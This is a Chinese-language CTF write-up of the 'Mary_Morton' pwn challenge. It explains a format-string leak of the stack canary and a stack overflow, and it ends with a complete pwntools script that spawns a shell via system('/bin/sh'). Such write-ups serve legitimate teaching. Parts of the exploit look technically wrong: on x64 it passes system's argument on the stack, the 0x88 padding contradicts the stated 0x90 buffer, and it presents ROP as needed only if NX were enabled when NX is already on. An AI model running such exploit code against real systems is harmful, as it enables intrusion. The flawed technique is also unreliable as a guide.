1. 项目背景与目标解析
"Mary_Morton"是CTF竞赛平台"攻防世界"中一道经典的pwn引导题目,属于二进制漏洞利用入门题型。这道题主要考察选手对栈溢出漏洞的基础利用能力,特别是针对Canary保护机制的绕过技巧。作为pwn方向的入门题目,它完美呈现了从基础漏洞分析到最终获取shell的完整攻击链条。
我在实际解题过程中发现,这道题虽然标注为"引导模式",但其中涉及的技巧在实际CTF竞赛和渗透测试中都非常实用。通过系统分析这道题目,新手可以快速掌握以下核心技能:
- 识别程序中的栈溢出漏洞点
- 理解Canary保护机制的工作原理
- 使用格式化字符串漏洞泄露内存信息
- 组合利用多种漏洞实现攻击链
2. 环境准备与程序分析
2.1 题目环境配置
首先需要配置好基础的pwn分析环境,我推荐使用以下工具组合:
- Ubuntu 18.04/20.04 LTS系统
- pwntools (Python漏洞利用框架)
- gdb-peda (增强版调试器)
- checksec (安全机制检测工具)
- ROPgadget (ROP链构造工具)
安装命令示例:
bash复制sudo apt update
sudo apt install -y python3 python3-pip git gdb
pip3 install pwntools
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
2.2 程序安全机制检测
使用checksec工具检查程序防护机制:
bash复制checksec --file=Mary_Morton
典型输出结果会显示:
- Stack Canary: Enabled
- NX: Enabled
- PIE: Disabled
这表明程序启用了栈保护金丝雀(Canary)和NX(数据不可执行)保护,但没有地址随机化(PIE)。这对我们的漏洞利用策略有重要影响。
2.3 程序逆向分析
使用IDA Pro或Ghidra对程序进行静态分析,可以发现关键函数逻辑:
c复制void game() {
char buf[0x90];
int choice;
while(1) {
print_menu();
scanf("%d", &choice);
if(choice == 1) {
// 选项1:存在栈溢出漏洞
read(0, buf, 0x100);
} else if(choice == 2) {
// 选项2:存在格式化字符串漏洞
printf(buf);
} else {
exit(0);
}
}
}
这个函数暴露出两个关键漏洞:
- 选项1的read函数允许输入0x100字节到只有0x90字节的缓冲区,造成栈溢出
- 选项2直接使用用户输入作为printf参数,导致格式化字符串漏洞
3. 漏洞利用技术详解
3.1 Canary保护机制绕过
虽然存在栈溢出漏洞,但程序启用了Stack Canary保护。Canary是在栈上插入的一个随机值,位于返回地址之前。在函数返回时会检查这个值是否被修改,若被修改则立即终止程序。
通过分析选项2的格式化字符串漏洞,我们可以泄露栈上的Canary值。在x64架构下,格式化字符串参数位于寄存器与栈上混合存储。经过测试发现Canary值位于第23个参数位置:
python复制payload = '%23$p'
p.sendlineafter('3. Exit', '2')
p.sendline(payload)
canary = int(p.recvline(), 16)
注意:Canary值的最低位字节总是\x00,这是设计上的特性,用于防止字符串操作意外覆盖Canary。
3.2 利用链构造
获取Canary值后,我们可以构造完整的利用链:
- 使用选项2泄露Canary值
- 使用选项1进行栈溢出,精心构造payload:
- 填充缓冲区到Canary位置
- 填入正确的Canary值保持校验通过
- 覆盖返回地址为system函数地址
- 设置参数指向"/bin/sh"字符串
典型payload结构:
code复制[垃圾数据(0x90字节)] + [Canary值] + [RBP覆盖值] + [system地址] + [返回地址] + ["/bin/sh"地址]
3.3 获取shell的完整利用
完整利用代码如下:
python复制from pwn import *
context(arch='amd64', os='linux')
p = process('./Mary_Morton')
# p = remote('目标IP', 端口)
# 泄露Canary
p.sendlineafter('3. Exit', '2')
p.sendline('%23$p')
canary = int(p.recvline(), 16)
print(f"Leaked canary: {hex(canary)}")
# 获取其他必要地址
elf = ELF('./Mary_Morton')
system = elf.symbols['system']
sh = next(elf.search(b'/bin/sh'))
# 构造ROP链
payload = b'A'*0x88
payload += p64(canary)
payload += b'B'*8 # 覆盖RBP
payload += p64(system)
payload += p64(0) # 返回地址
payload += p64(sh)
# 发送payload
p.sendlineafter('3. Exit', '1')
p.sendline(payload)
p.interactive()
4. 实战技巧与注意事项
4.1 调试技巧
在开发漏洞利用时,gdb调试至关重要。几个实用技巧:
- 在关键函数返回前设置断点:
gdb复制b *game+xxx (IDA中查看返回地址偏移) - 观察栈布局:
gdb复制telescope $rsp 20 - 检查Canary值:
gdb复制p/x $fs:0x28
4.2 常见问题排查
-
程序崩溃在__stack_chk_fail:
- Canary值不正确或未正确放置
- 检查泄露的Canary是否包含\x00字节
-
system函数执行后无反应:
- 检查参数是否正确指向"/bin/sh"字符串
- 确认system的PLT地址是否正确
-
远程exploit不工作但本地成功:
- 检查libc版本差异
- 确认网络延迟是否影响交互时序
4.3 防护绕过进阶思路
在实际CTF比赛中,可能遇到更复杂的情况:
- 当Canary无法直接泄露时,可以尝试逐字节爆破
- 如果没有现成的system和/bin/sh,需要先泄露libc地址
- 如果NX保护开启,需要使用ROP技术
5. 总结与扩展
通过这道题目,我们系统性地实践了从漏洞发现到最终利用的全过程。关键点在于:
- 格式化字符串漏洞用于信息泄露
- 栈溢出漏洞用于控制流劫持
- 组合利用两种漏洞突破安全防护
在实际渗透测试中,这种组合漏洞利用的思路非常常见。建议进一步研究:
- 其他Canary绕过技术(如SSP leak)
- 更复杂的ROP链构造
- 对抗ASLR的技术(如ret2plt)
最后分享一个调试小技巧:在pwntools脚本开发阶段,可以添加context.log_level = 'debug'来显示所有交互细节,这对排查通信问题非常有帮助。